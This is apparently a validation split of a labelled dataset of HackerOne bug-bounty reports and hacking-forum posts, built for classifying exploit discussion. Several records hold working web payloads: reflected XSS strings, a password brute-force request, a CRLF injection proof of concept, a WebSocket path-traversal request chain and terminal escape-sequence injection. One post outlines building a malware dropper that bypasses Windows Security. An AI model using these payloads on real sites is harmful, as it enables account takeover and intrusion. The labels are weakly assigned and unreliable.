-{"id": "9eaeddfd8afac2ae7cf0", "text": "Rapunzel3000: within the >1000 lines HTTP-response, I would have never figured out any reaction to command injection attemps. I can give one more recommendation: Look for different ways to start a sub-shell, as neither && not || worked for me! got it!", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-01-31", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "fc715c901989eab06ea6", "text": "I still do not understand how it works, could you explain it more? I have no idea what I should add what in my modified code. Thanks a lot", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-06-29", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d46b54cd0705181c9d5a", "text": "[Improper Authentication - Generic] No Rate Limit On Forgot Password on https://apps.nextcloud.com\n\nHi,\n I have found no rate Limit on forgot password.\n\nSummary:-\nA rate limiting algorithm is used to check if the user session (or IP address) has to be limited based on the information in the session cache. In case a client made too many requests within a given time frame, HTTP servers can respond with status code 429: Too Many Requests. (wikipedia) I just realized that on the reset password page, the request has no rate limit which then can be used to loop through one request.\n\nStep to reproduce:-\n1-Go to https://apps.nextcloud.com/password/reset/.\n2- Enter email address\n3- Intercept burp and send request to intruder\n4- Select the number 1 to 50 and click on start attack.\n5- You will get 302 OK\n6- I already attached the PoC video too if you don't understand my explanation and Sorry for inconvenience for video please do mute before watching video.\n\nSuggested to fix:-\nUse CAPTCHA verification if many requests are sent. \n\nReference:-\nhttps://hackerone.com/reports/751604\n\n## Impact\n\nIf You Are Using Any Email Service Software API Or Some Tool Which Costs You For Your Email This Type Of Attack Can Result You In Financial Lose And It Can Also Slow Down Your Services It Can Take Bulk Of Storage In Sent Mail Although If Users Are Affected By This Vulnerability They Can Stop Using Your Services Which Can Lead To Business Risk\nAttackers could use this vulnerability to bomb out the email inbox of the victim.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-09-26", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "16a5a892e7ad498774a1", "text": "[Improper Access Control - Generic] Global default settings page is accessible to non-administrators\n\nIf you go to /settings/, it correctly redirects to /settings/user/username/ and does not give you the option to change global default settings. However if you go straight to /settings/builtin/global/, any user can edit the global default settings. According to https://secure.phabricator.com/D16048, it's supposed to be an administrator panel.\n\nmongoose\n\n## Impact\n\nAt worst, you can disrupt a Phabricator installation and change the accessibility theme, language, disable everyone's notifications. But there aren't any very sensitive settings that you can modify.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-05-09", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e79649fb8b30b5234ef2", "text": "[Business Logic Errors] captcha bypass leads to register multiple user with one valid captcha\n\n## Summary:\nHi team,\nwhen we register in valley connect, captcha now expire and we can use single valid captcha for register and call to many user.\n\n## Steps To Reproduce:\n1. go to login form : https://valleyconnect.tva.gov/registration\n2. complete form and click on submit registration, then intercept request with burp\n3. use intruder for call multiple request, we should replace email in every request.\n\n```\nPOST /registration HTTP/2\nHost: valleyconnect.tva.gov\n\nUserName=admin&Password=jgn%25%5EThgf%23rfvHRESdy56tef&ConfirmPassword=jgn%25%5EThgf%23rfvHRESdy56tef&EmailAddress=E%40jetamooz.com&EmailAddressVerify=E%40jetamooz.com&FirstName=alex&LastName=jane&Initials=&Suffix=&JobTitle=it&OrganizationType=Business+Partner&OrganizationName=sarv&Country=792&StreetAddress=sary&City=katy&Province=titi&State=AL&ZipCode=&PhoneNumber=%28934%29+734-4364&MobilePhoneNumber=%28957%29+363-4655&TimeZone=America%2FLos_Angeles&CapAnswer=U4YIQ&CapKey=XXTxVOUWZrCz6buVtsgF2cFaPHLSCKVSRQc4z4My13Bee8JiTYVZXmiPd8zLSbMc&BeCheck=\n```\n\n\n## Supporting Material/References:\n\n{F2781078}\n{F2781077}\n{F2781085}\n{F2781080}\n\n## Impact\n\nwe can bypass captcha and register too many user with one valid captcha", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-11-30", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "6f5ad3dea2c541eaa2c8", "text": "[Violation of Secure Design Principles] Ability to perform various POST requests on quantopian.com as a different user - insecure by design.\n\n##Summary:\nDue to excessive control of victim's UI over algorithm collaboration feature one is able to force algorithm collaborator to issue malicious POST requests.\n##Description:\nHello again my favorite VDP! WebSockets again. Following vulnerability can be abused to attack a person that we collaborate on same algorithm with. \nTo understand underlying root of the bug we should review 2 features.\n\n----------------------------------------------------\n**First feature** is \"Build algorithm\" button that checks code for mistakes and quickly builds your algo in IDE.\n{F770716}\nWhen you press this button, you issue POST request to `https://quantopian.com/algorithms/ALGO-ID/validate` like this\n{F770723}\nThis request body contains code of algorithm, algorithm id, runtime and dates of backtest. It is meant to check if code contains errors, i think. \n**What is important about this feature?**\nImportant thing is, it takes user-supplied parameter into URL. To be precise, algorithm IDE page's HTML contains such element - `algo-id`:\n{F770728}\nWhen we press aforementioned button, \"Build Algorithm\", URL is taking ALGO-ID from this element. So if we manually switch this `algo-id` html element's value to \"abracadabra\" and press the \"Build Algorithm\" button, we will automatically issue POST request to `https://quantopian.com/algorithms/abracadabra/validate`. We will get back to this soon.\n\n----------------------------------------------------\n**Second feature** is collaboration websockets library's event called `form-update`. We can issue this event when we update any input fields, like algorithm code or backtest dates. For example, when we switch algo from US Futures to US Equities here:\n{F770751}\nwe automatically issue websocket request like this:\n{F770754}\nBy fuzzing with this form-update evenet i found out that with this websocket command we can set our own value to any html element that has `value` attribute. For example, if we issue such WS reuqest (take a look at \"value\" key):\n```json\n{\"type\":\"form-update\",\"element\":\"#algo-id\",\"value\":\"hello\",\"clientId\":\"x\",\"roomId\":\"5ce6e50b298f7c6e0acb68c6\"}\n```\nit will result in following HTML:\n{F770767}\nNote: since this is a request we issue over websockets, such HTML will be in all collaborators' pages\n----------------------------------------------------\n**Chaining two features together**\nWe can chain these 2 features to achieve some results here. For example we'll take security feature that is located at https://www.quantopian.com/account#security - email notification when your account is logge into from a new browser\n{F770788}\nThis is how request would look if we wanted to turn it on:\n{F770801}\nActually, the payload doesn't have to be in request body, it can also be in URL of the request. So request like this will return HTTP 200 OK code as well:\n{F770805}\nMoreover, URL takes first place when server analyzes request, so even if there is uninterpretable garbage in POST request body, if POST request's url parameters are correct, they will be parsed properly.\nThis is crucial for this bug.\n\nNow, let's remember that:\n- ../../../../ on linux means previous directories.\n- # will mean like comment in code - if it's wrong, just skip it :)\n\nAnd finally, **exploit**:\nLet's issue websockets request like this:\n```json\n{\"type\":\"form-update\",\"element\":\"#algo-id\",\"value\":\"/../../../../../users/update_preferences?prefs%5Bsend_login_detected_email%5D=false\",\"clientId\":\"x\",\"roomId\":\"5ce6e50b298f7c6e0acb68c6\"}\n```\nOur HTML (and our victim's) will look like this:\n{F770819}\nAnd when we our our victim will press on \"Build algorithm\", he will issue this request\n{F770822}\nWe don't care about request's body since the url and supplied parameters are working properly. This will result in our victim himself turning off email notifications of new logins.\n\nAnother example, but with several parameters:\n```json\n{\"type\":\"form-update\",\"element\":\"#algo-id\",\"value\":\"/../../../../../users/upd", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-12-21", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "801740ca15d0e67c9cb0", "text": "[Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)] Weak randomness in WebCrypto keygen\n\nhttps://github.com/nodejs/node/pull/35093 introduced a call to `EntropySource()` in `SecretKeyGenTraits::DoKeyGen()` in `src/crypto/crypto_keygen.cc`. There are two problems with this:\n\n1. It does not check the return value, it assumes `EntropySource()` always succeeds, but it can (and sometimes will) fail.\n\n2. The random data returned by`EntropySource()` may not be cryptographically strong and therefore not suitable as keying material.\n\nAn example is a freshly booted system or a system without `/dev/random` or `getrandom(2)`.\n\n## Impact\n\n`EntropySource()` calls out to openssl's `RAND_poll()` and `RAND_bytes()` in a best-effort attempt to obtain random data.\n\nOpenSSL has a built-in CSPRNG but that can fail to initialize, in which case it's possible either:\n\n1. No random data gets written to the output buffer, i.e., the output is unmodified, or\n\n2. Weak random data is written. It's theoretically possible for the output to be fully predictable because the CSPRNG starts from a predictable state.\n\nThe output buffer is allocated in `SecretKeyGenTraits::DoKeyGen()` using `OPENSSL_malloc()` (alias for `CRYPTO_malloc()`), which in turn calls `malloc()`.\n\n`malloc()` does not zero the buffer but its contents may be predicted or manipulated by an external attacker, e.g. by manipulating an arraybuffer, then forcing the GC to reclaim it.\n\nUsers can override the CSPRNG (and do) so there are probably more failure modes. A buggy CSPRNG could write out only zeroes, for example, comparable to (2).\n\nI have a (trivial!) patch available. H1 gives this a really high CVSS score but I suppose that's appropriate when the worst case failure mode is a complete breakdown of confidentiality and integrity.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-10-26", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c1c3d38b748cfa9ea840", "text": "[Information Exposure Through Directory Listing] Information Exposure Through Directory Listing vulnerability\n\nA directory listing provides an attacker with the complete index of all the resources located inside of the directory as well as download or access its contents.\nWhile the researcher did not dig deeper on to the available files, it might be possible that these websites host sensitive information like private videos which can publicly be downloaded or accessed by any user.\nSteps To Reproduce:\nBrowse to the URLs below to see the vulnerability.\nvisit\n1.https://apps.nextcloud.com/static/admin/\n2.https://apps.nextcloud.com/static/admin/js/\n\n## Impact\n\nattacker can able to see the source code of users admin pages..\ncritical information of admin ..", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-02-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "11a90266b12c28336425", "text": "[CRLF Injection] CRLF Injection in Nodejs ‘undici’ via host\n\n**Summary:** undici library should be protects HTTP headers from CRLF injection vulnerabilities. However, CRLF injection exists in the ‘host’ header of undici.request api.\n\n\n**Description:**\nlike https://hackerone.com/reports/1664019\nSource code:\nlib/core/request.js:296\n```javascript\nfunction processHeader (request, key, val) {\n if (val && (typeof val === 'object' && !Array.isArray(val))) {\n throw new InvalidArgumentError(`invalid ${key} header`)\n } else if (val === undefined) {\n return\n }\n\n if (\n request.host === null &&\n key.length === 4 &&\n key.toLowerCase() === 'host'\n ) {\n // Consumed by Client\n request.host = val // without headerCharRegex.exec(val)\n } else if (\n request.contentLength === null &&\n...\n```\nExample:\n```javascript\nimport { request } from 'undici'\n\nconst unsanitizedContentTypeInput = '12 \\r\\n\\r\\naaa:aaa'\n\nconst {\n statusCode,\n headers,\n trailers,\n body\n} = await request('http://127.0.0.1:23333', {\n method: 'GET',\n headers: {\n 'content-type': 'application/json',\n 'host': unsanitizedContentTypeInput\n }\n})\n\nconsole.log('response received', statusCode)\nconsole.log('headers', headers)\n\nfor await (const data of body) {\n console.log('data', data)\n}\n\nconsole.log('trailers', trailers)\n\n```\n{F2100713}\n\n## Impact: \n```<=undici@5.14.0```\n\n## Impact\n\n```<=undici@5.14.0```", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-02-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "33cb8723a95290ddfcb2", "text": "[Command Injection - Generic] Arbitrary escape sequence injection in docker-machine from worker nodes\n\nHi,\n\nThis bug report is specific to docker-machine and its utilization by Gitlab as preferred tool to allow autoscaling across different providers (https://docs.gitlab.com/runner/configuration/autoscale.html). I am not sure if it fits the scope here but wanted to reach out regarding this before I post it publicly in an upcoming blog post about general topic of escape sequence injection as it might still be relevant for you.\n\nI know that in future docker-machine will be replaced by native support but currently this is the preferred tool to allow autoscaling. (https://gitlab.com/groups/gitlab-org/-/epics/2502)\n\nAttack requirements and description:\n\n1. `docker-machine` reports information like version number in use by worker nodes.\n\n2. worker nodes may be running with a docker socket mounted in container to allow CI builds (of course alternatives like kaniko can be used but using docker socket is still a common approach)\n\n3. Using such an approach with docker-machine and docker executor with mounted docker socket basically means that ci/cd jobs have root access to worker nodes.\n\n4. Now a malicious ci/cd job can overwrite locally running docker daemon with a malicious docker daemon which will still be contacted by `docker-machine` to retrieve information like version, ip etc. Running commands like `docker-machine ls` on the bastion host would inject that malicious information in a window on Bastion node.\n\nPoC:\n\n1. Launch a worker instance using docker-machine and any driver.\n\n2. On the worker node, modify docker daemon to report following string in version response:\n\n```\n\"\\033]2;\\033[21t \\033[1;32m\\033[21t\\033[Jroot@host$ \\v\\033[0m View all output? hit enter to continue: \\v\\033[A?\\033[0\\033[2AA\\033[0\",\n```\n\nThis can be done by compiling docker from source and modifying the version information in `info.go` (https://github.com/moby/moby/blob/23.0/daemon/info.go#L104). Use this docker daemon to overwrite already running docker daemon on the worker node.\n\n3. Now run `docker-machine ls` or `docker-machine version worker_machine_name` and it will:\n\n- change window title by injecting escape sequence using `\\033[2;`\n- Inject arbitrary input in user's prompt i.e. `ll` and try to trick user into hitting enter and executing the input buffer as a command.\n\n4. Using a more malicious input, it will also be possible to crash the bastion node completely.\n\n`docker-machine` is executed with high privilege users and letting it output potentially malicious content can have a high impact not just with escape code injection but also if such an output is used for monitoring or automation scripts assuming that whatever it reports is validated content and not arbitrary information. `docker-machine` should validate this information especially for things like `version`\n\nMore about escape sequences which can be injected in terminals: https://marc.info/?l=bugtraq&m=104612710031920&w=2\n\nPlease review if this fits into the scope here or if it would be alright to publish it as part of a public blog post regarding such attack vectors. \n\nThanks!\n\n## Impact\n\nEscape code injection\nDenial of Service", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-06-02", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ce6b68be85d8fe2b6340", "text": "[Information Disclosure] Error in Deleting Deck cards attachment reveals the full path of the website\n\n## Summary:\n\nAn error in deck cards when deleting an attachment reveals the full path of the website.\n\n```\nDELETE /apps/deck/cards/11/attachment/file:1 HTTP/2\nHost: ctulhu.me/nc\nSec-Ch-Ua: \"Chromium\";v=\"93\", \" Not;A Brand\";v=\"99\"\nAccept: application/json, text/plain, */*\nSec-Ch-Ua-Mobile: ?0\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36\nSec-Ch-Ua-Platform: \"macOS\"\nOrigin: https://ctulhu.me/nc\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: cors\nSec-Fetch-Dest: empty\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\n```\n\n### Response\n\n```\nHTTP/2 500 Internal Server Error\nDate: Wed, 29 Sep 2021 07:42:43 GMT\nContent-Type: application/json; charset=utf-8\nContent-Length: 2057\nExpires: Thu, 19 Nov 1981 08:52:00 GMT\nPragma: no-cache\nCache-Control: no-cache, no-store, must-revalidate\nContent-Security-Policy: default-src 'none';base-uri 'none';manifest-src 'self';frame-ancestors 'none'\nFeature-Policy: autoplay 'none';camera 'none';fullscreen 'none';geolocation 'none';microphone 'none';payment 'none'\nX-Robots-Tag: none\nReferrer-Policy: no-referrer\nX-Content-Type-Options: nosniff\nX-Download-Options: noopen\nX-Frame-Options: SAMEORIGIN\nX-Permitted-Cross-Domain-Policies: none\nX-Robots-Tag: none\nX-Xss-Protection: 1; mode=block\nCf-Cache-Status: DYNAMIC\nServer: cloudflare\nCf-Ray: 69639391d9741f21-FRA\nAlt-Svc: h3=\":443\"; ma=86400, h3-29=\":443\"; ma=86400, h3-28=\":443\"; ma=86400, h3-27=\":443\"; ma=86400\n\n{\"status\":500,\"message\":\"There was an error retrieving the share. Maybe the link is wrong, it was unshared, or it was deleted.\",\"exception\":{\"\\u0000OC\\\\HintException\\u0000hint\":\"\",\"\\u0000*\\u0000message\":\"There was an error retrieving the share. Maybe the link is wrong, it was unshared, or it was deleted.\",\"\\u0000Exception\\u0000string\":\"\",\"\\u0000*\\u0000code\":0,\"\\u0000*\\u0000file\":\"\\/var\\/www\\/██████████\\/custom_apps\\/deck\\/lib\\/Sharing\\/DeckShareProvider.php\",\"\\u0000*\\u0000line\":586,\"\\u0000Exception\\u0000trace\":[{\"file\":\"\\/var\\/www\\/████████\\/custom_apps\\/deck\\/lib\\/Service\\/FilesAppService.php\",\"line\":140,\"function\":\"getShareById\",\"class\":\"OCA\\\\Deck\\\\Sharing\\\\DeckShareProvider\",\"type\":\"-\\u003E\"},{\"file\":\"\\/var\\/www\\/█████\\/custom_apps\\/deck\\/lib\\/Service\\/AttachmentService.php\",\"line\":339,\"function\":\"extendData\",\"class\":\"OCA\\\\Deck\\\\Service\\\\FilesAppService\",\"type\":\"-\\u003E\"},{\"file\":\"\\/var\\/www\\/██████████\\/custom_apps\\/deck\\/lib\\/Controller\\/AttachmentController.php\",\"line\":96,\"function\":\"delete\",\"class\":\"OCA\\\\Deck\\\\Service\\\\AttachmentService\",\"type\":\"-\\u003E\"},{\"file\":\"\\/var\\/www\\/███████\\/lib\\/private\\/AppFramework\\/Http\\/Dispatcher.php\",\"line\":217,\"function\":\"delete\",\"class\":\"OCA\\\\Deck\\\\Controller\\\\AttachmentController\",\"type\":\"-\\u003E\"},{\"file\":\"\\/var\\/www\\/███████\\/lib\\/private\\/AppFramework\\/Http\\/Dispatcher.php\",\"line\":126,\"function\":\"executeController\",\"class\":\"OC\\\\AppFramework\\\\Http\\\\Dispatcher\",\"type\":\"-\\u003E\"},{\"file\":\"\\/var\\/www\\/█████\\/lib\\/private\\/AppFramework\\/App.php\",\"line\":156,\"function\":\"dispatch\",\"class\":\"OC\\\\AppFramework\\\\Http\\\\Dispatcher\",\"type\":\"-\\u003E\"},{\"file\":\"\\/var\\/www\\/██████████\\/lib\\/private\\/Route\\/Router.php\",\"line\":301,\"function\":\"main\",\"class\":\"OC\\\\AppFramework\\\\App\",\"type\":\"::\"},{\"file\":\"\\/var\\/www\\/██████\\/lib\\/base.php\",\"line\":1000,\"function\":\"match\",\"class\":\"OC\\\\Route\\\\Router\",\"type\":\"-\\u003E\"},{\"file\":\"\\/var\\/www\\/█████████\\/index.php\",\"line\":36,\"function\":\"handleRequest\",\"class\":\"OC\",\"type\":\"::\"}],\"\\u0000Exception\\u0000previous\":null}}\n```\n\n## Steps To Reproduce:\n[add details for how we can reproduce the issue]\n\n* 0.) setup burpsuite\n* 1.) go to $website/apps/deck and pick any cards\n* 2.) attach a file to the card and delete it\n* 3.) On burp suite go to proxy > http history > find the request\n* 4.) send the request to repeater and run the request again\n\n## Impact\n\nFull path disclosure", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-05-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "b804a0e22e1d01500266", "text": "[Cross-site Scripting (XSS) - Generic] Reflected Xss in [██████]\n\n**Description:**\nReflected XSS in █████████ due to unsanitized single quote `'`. \n## Impact\nAn attacker could execute arbitrary javascript, and perform malicious actions !\n\n## Step-by-step Reproduction Instructions\n\n1. Used payload: `simo%27onfocus=%27confirm(document.domain)%27name=%27simo%27#simo`\n2. Visit the url, the alert box should pop up !: \n`https://www.█████/gri/ziptool/search.aspx?a=1simo%27onfocus=%27confirm(document.domain)%27name=%27simo%27#simo`\n\n█████████\n\n## Suggested Mitigation/Remediation Actions\nSanitize single quote !\n\n## Impact\n\nAn attacker could execute arbitrary javascript in the client browser .", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-06", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "da8f58d74e664b7c8ec8", "text": "[Improper Restriction of Authentication Attempts] Entering passwords on the Share Login Page can lead to a brute-force attack\n\n## Summary:\nI have identified that when sharing the Results with a password, the request (POST method) when entering a password has no rate limit, which can then be used to loop through one request. An attacker can brute-force for a password and can get a possibly a dashboard Results.\n\nA rate limiting algorithm is used to check if the user session (or IP-address) has to be limited based on the information in the session cache. In case a client made too many requests within a given timeframe, HTTP-Servers can respond with status code 429: Too Many Requests.\n\nThe problem here is that the sharing links are crawled, so if there is a link that does not contain a password, the account information will be revealed, and if there is a password, it can be brute-forced .\n\n█████\n\n## Steps To Reproduce:\n1. Go to https://app.crowdsignal.com/share/███ (this my Survey)\n2. Enter any password and click Login.\n3. Intercept the request (you can use Burp Suite tool to do this)\n4.\n```\nPOST /share/████████/password HTTP/1.1\nHost: app.crowdsignal.com\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 43\nOrigin: https://app.crowdsignal.com\nConnection: close\nReferer: https://app.crowdsignal.com/share/██████\nCookie:\nUpgrade-Insecure-Requests: 1\nSec-Fetch-Dest: document\nSec-Fetch-Mode: navigate\nSec-Fetch-Site: same-origin\nSec-Fetch-User: ?1\n\naction=password&nonce=██████████&password=§\n```\n5. Now Send This Request To Intruder And brute-force it 1000 times with a list of 1000 passwords.\n6. See that you will get a length of 297 when the password is incorrect and when you get 414 that is the correct password.\n\n\n## Supporting Material/References:\n████\n\n## Impact\n\nIf an attacker successfully brute forces the password, they may be able to access the following: Results, Answer Details, Devices, Locations, and Participants.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-08-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "6583e6f40e4bdf3c9992", "text": "I could need help as well. I found flag 4 and upgraded my Shell to a fully interactive shell. I also checked commands I can execute with sudo without password and tried to exploit the command. Is this the right way? I did not really find useful hints from the internet.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-08-04", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "82f5a672db59b5453e5a", "text": "I have added the correct url where the ipaddress mentioned is the one which corresponds to the tun0 on my local machine , but still on hitting the url no events are generated", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-12-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "f3cf21b817ea91afcef8", "text": "[Cross-site Scripting (XSS) - Reflected] XSS on https://███████/██████████ parameter\n\nPoC\n```\nhttps://███████/███\n```\nPameter 'xxslots' must be invalid\nPayload ```xss%22%20tabindex%3d1%20autofocus%20onfocus%3d%22alert()```\n███████\n\n## Impact\n\nXSS on https://███████/\n\n## System Host(s)\n██████████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nGo to ```XSS on https://██████/██████████```\n\n## Suggested Mitigation/Remediation Actions", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-07", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "f90e1d5dc81496b8953f", "text": "[Improper Authorization] staffOrderNotificationSubscriptionDelete Could Be Used By Staff Member With Settings Permission\n\nHi,\n\nThe staff order notification should be under the control of staff members with `Order` permission but I found that the staff member with just `Settings` permission can also delete the order notifications using the GID\n\nSteps to reproduce\n- Login as a staff member with `Settings` permission\n- Make this GraphQL call to `https://yoursubdomain.myshopify.com/admin/internal/web/graphql/core?operation=SwitcherNoStores`\n\n```\n{\"query\": \"mutation{staffOrderNotificationSubscriptionDelete(staffOrderNotificationSubscriptionId:\\\"gid://shopify/StaffOrderNotificationSubscription/82867191864\\\"){userErrors{message}}} \"}\n```\n\n- Note: you can find the `82867191864` id from `/admin/settings/notifications` as an admin account, in the `Staff order notifications` section, after adding a order notification and the id is in the URL\n\n- The response you see should be `{\"staffOrderNotificationSubscriptionDelete\":{\"userErrors\":[]}}`, and this means you have deleted the subscription already\n\n## Impact\n\nThe staff order notification should be under the control of staff members with `Order` permission but I found that the staff member with just `Settings` permission can also delete the order notifications using the GID", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-02-09", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "2afb08fcd6ecab610be6", "text": "[Cross-Site Scripting (XSS)] HTML Injection at https://stage.firefoxmonitor.nonprod.cloudops.mozgcp.net/user/unsubscribe\n\nHello, \n\nThe \"Unsubscribe\" page seems to be affected by Cross-Site Scripting (XSS) .Unfortunately my IP was blocked and I couldn't go ahead with the test to find a real proof of concept. So I'll just stick to this\n\nPOC:\n\nhttps://stage.firefoxmonitor.nonprod.cloudops.mozgcp.net/user/unsubscribe?%27%22%3E%3C/title%3E%3Cscript%3Ealert(xss)%3C/script%3E%3E%3Cmarquee%3E%3Ch1%3EXSS%3C/h1%3E%3C/marquee%3E \n\nCheers\n\n## Impact\n\nAn attacker could use this to inject malicious client side code, such as JavaScript, and execute it within the context of another user. This could possibly lead to user account compromises, user’s being socially engineered and many more attacks against the application’s users.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-10-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "bcd9aacc5efd754743c1", "text": "[Cross-site Scripting (XSS) - Reflected] Reflected XSS on [█████████]\n\n## Summary:\nHi security team members,\n\nI found a reflected XSS on the URL\n\n## Impact\n\n1. An attacker can steal the victim's cookies.\n2. An attacker can execute JS code.\n\n## System Host(s)\n█████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\n1. Navigate to this link:- https://██████████/██████=%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E\n2. Then, it will execute.\n\n## Suggested Mitigation/Remediation Actions", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-07", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "607804b5ea1b2cd4e8a0", "text": "Can anyone write to me privately please. I have a question about the optional task and would like to understand it. I have all 5 flags, for info.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-08-12", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "a0dc16d58e5395477e1f", "text": "[Improper Authorization] User with no Develop apps permission can Uninstall Custom App\n\nHi,\n\nYou know user must have Develop apps permission to Uninstall Develop apps \nto test this just create staff with `Manage and install apps and channels`\n\n{F1601504}\n\nsend this mutation just change appId by your id\n\n```\n{\"operationName\":\"UninstallCustomApp\",\"variables\":{\"appId\":\"gid://shopify/App/6431893\"},\"query\":\"mutation UninstallCustomApp($appId: ID!) {\\n appUninstall(input: {id: $appId}) {\\n app {\\n id\\n __typename\\n }\\n userErrors {\\n field\\n message\\n __typename\\n }\\n __typename\\n }\\n}\\n\"}\n```\n\n## Impact\n\nUser with no Develop apps permission can Uninstall Custom App", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-21", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "64fe586edb7563cdf916", "text": "I found something here? gist.github.com https://gist.github.com/Bristools/7af6f8710837a5d8a3786059fce18e3a/revisions gistfile1.txt You'll need inno setup compiler and Winrar https://jrsoftware.org/isdl.php https://www.win-rar.com/start.html?&L=0 https://direct-link.net/323899/itroublve MAKE SURE TO TURN ON BYPASS WINDOWS SECURITY -------------------------------------------------- 1.)First create a stub using a stub maker of your choice. I recommend Mercurial 2.)Download inno setup compiler and create a new script file using the script wizard This file has been truncated. show original", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2022-12-16", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "9c5641267100399f34d8", "text": "[Insecure Temporary File] Broken Domain Link Takeover from kubernetes.io docs\n\nReport Submission Form\n\n## Summary:\nKubernetes docs have Spanish translation available. One of the pages of the Portuguese doc has an external reference to a website .\nThe website is not registered and can be purchased and used to host malicious content.\n\n## Kubernetes Version:\nNA\n\n## Component Version:\nNA\n## Steps To Reproduce:\n\n1. Go to https://kubernetes.io/pt-br/docs/concepts/cluster-administration/addons/\n2. Search for `contiv`\n3. Click on 'Contiv`\nYou will be redirected to https://contiv.io/ which does not exist...\n\n## Supporting Material/References:\n1. https://contiv.io/\n2. https://in.godaddy.com/domainsearch/find?checkAvail=1&domainToCheck=contiv.io\n\n## Impact\n\nAs an attacker, I can host malicious content on the website.\nI can also, host malicious sdk or softwares, which user will think is part of the deployment docs as its referred in kubernetes.io, this can lead to RCE for users who are referring to this doc.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-03", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
